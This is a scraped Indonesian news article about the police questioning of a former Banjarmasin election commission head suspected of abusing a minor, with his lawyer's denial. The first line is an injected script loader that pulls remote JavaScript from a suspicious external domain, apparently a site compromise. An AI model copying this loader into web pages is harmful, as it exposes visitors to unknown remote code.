(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Proses pemeriksaan eks Ketua KPU Kota Banjarmasin, Gusti Makmur, tersangka dugaan kasus pencabulan anak dibawah umur telah selesai. Rencananya, Polres Banjarbaru akan menggelar pers rilis terkait kasus yang menyita banyak perhatian itu.
Informasi yang diterima Kanalkalimantan.com, Polres Banjarbaru akan menghadirkan secara langsung tersangka dalam konfrensi pers yang digelar pada Kamis (30/1/2020) sore ini. Hal ini terkuak saat salah satu jurnalis menanyakan, apakah tersangka akan dihadirkan.
“Insya Allah, rencana dihadirkan,†tulis Humas Polres Banjarbaru, dalam grup media.
Meski sebenarnya Humas Polres Banjarbaru masih belum mengutarakan siapa tersangka yang ditahan atas kasus pencabulan ini, namun dapat dipastikan tersangka yang dimaksud ialah Gusti Makmur. Pasalnya, selama proses penyidikan ini berjalan beberapa mingu terakhir, Polres Banjarbaru hanya melayangkan surat panggilan terdahap satu orang, yakni kepada Gusti Makmur.
Jika memang demikian,  maka Ketua KPU Kota Banjarmasin yang baru-baru ini dinonaktifkan tersebut, akan langsung ditahan usai menjalani pemeriksaan oleh tim penyidik Polres Banjarbaru pada pagi tadi.
Seperti yang diketahui, mantan Ketua KPU Kota Banjarmasin Gusti Makmur dicecar lebih dari 30 pertanyaan oleh pihak penyidik Polres Banjarbaru pada Kamis (30/1/2020) pagi. Pemeriksaan ini berupakan buntut surat panggilan yang dilayangkan Polres Banjarbaru, pada tanggal 24 Januari 2020. Dilayangkannya surat panggilan saat itu, Gusti Makmur masih memegang jabatan sebagai Ketua KPU Kota Banjarmasin.
Hal yang mengejutkannya adalah, Gusti Makmur dipanggil dengan statusnya yakni tersangka dugaan kasus pencabulan anak dibawah umur. Walhasil, karena penetapan status tersangka ini, membuat KPU Kalsel mengajukan penonaktifan Gusti Makmur dari kursi Ketua KPU Banjarmasin.
Dalam pemeriksaan hari ini, kuasa hukum Gusti Makmur tersangka dugaan pencabulan anak dibawah umur, mengaku tidak ada unsur pencabulan yang dilakukan oleh kliennya.
Dian Corona, salah satu kuasa hukum Gusti Makmur, mengatakan bahwa Polres Banjarbaru menyangkakan satu pasal kepada kliennya yakni pasal 82 ayat 1 Undang- Undang Perlindungan Anak. Namun, menurut pandangannya dari pemeriksaan yang berjalan pada hari ini, tidak ada unsur yang mendukung Gusti Makmur disangkakan pasal tersebut.
“Tidak ada unsur-unsur yang dituduhkan kepada klien kami, seperti adanya rayuan dan bujukan terhadap korban. Tadi, pemeriksaan BAP tersangka, tidak ada sama sekali perbuatan seperti yang dituduhkan pasal 82 ayat 1,†kata Dian.
Selain itu, Dian juga menceritakan materi pemeriksaan yang masih belangsung saat ini, berkisar tentang kegiatan Gusti Makmur pada tanggal 25 Desember 2019, tepat saat terjadinya aksi asusulia di Grand Dafam Q Hotel, Banjarbaru. Dian, membenarkan bahwa Gusti Makmur memang sedang berada di hotel tersebut pada hari itu.
“Benar, klien kami berada di Grand Dafam Q Hotel pada tanggal 25 Desember 2019. Dia disitu dalam rangka menghadiri acara Rapat Koordinasi MUI se-Kalsel,†akunya.
“Kondisi klien kami Gusti Makmur baik-baik dam normal saja. kami berharap dan kita sama-sama menghormati jalannya proses penyidikan. Kita tidak menghalangi dan tidak menutupi apapun. Kami sebagai kuasa hukum, hadir disini karena permintaan keluarga tersangka untuk didampingi. Apalagi ancaman hukuman diatas 5 tahun, wajib didampingi,†pungkas Dian.
Peristiwa pencabulan yang diduga dilakukan oleh Gusti Makmur ini terjadi pada tanggal 25 Desember, sekitar pukul 12.00 Wita di dalam lobi toilet Hotel Grand Dafam, Q Mall Banjarbaru.
Baca: BREAKING NEWS. Cabuli Anak Laki-laki, Pelaku Pejabat Publik?
Korban yang merupakan lelaki berusia di bawah umur sedang melaksanakan tugas magang. Disaat itu juga sedang berlangsung acara Rapat Koordinasi (Rakor) lembaga keagaaman di hotel. Korban pergi ke toilet dan ada seseorang mengajak kenalan dan langsung memegang kemaluan dan mencium korban.
“Korban tidak sempat berbuat apa-apa. Orang yang melakukan aksi pencabulan tersebut langsung beranjak pergi atas kejadian,†kata Kasubbag Humas Polres Banjarbaru AKP Siti Rohayati.
Aksi asusila ini dilaporkan orang tua korban ke Polres Banjarbaru keesokan harinya, pada tanggal 26 Desember 2019. (kanalkalimantan.com/rico)
KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reserse Narkoba (Satresnarkoba) Polres Banjarmasin mengungkap kasus peredaran narkotika jenis sabu.… Read More
KANALKALIMANTAN.COM, BANJARBARU - Momentum liburan Natal 2024 dan Tahun Baru 2025 menjadi ladang cuan bagi… Read More
KANALKALIMANTAN.COM, BANJARBARU - Wali Kota Banjarbaru Aditya Mufti Ariffin resmi melantik dan mengambil sumpah janji… Read More
KANALKALIMANTAN.COM - Menyambut akhir tahun yang penuh keseruan dan momen spesial bersama keluarga dan teman… Read More
KANALKALIMANTAN.COM - Ajang pencarian bakat Dangdut Mania Dadakan (DMD) Panggung Rezeki selalu memberikan warna baru… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kebakaran permukiman penduduk di Jalan Barito Hulu, Kelurahan Pelambuan, Kecamatan Banjarmasin Barat,… Read More
This website uses cookies.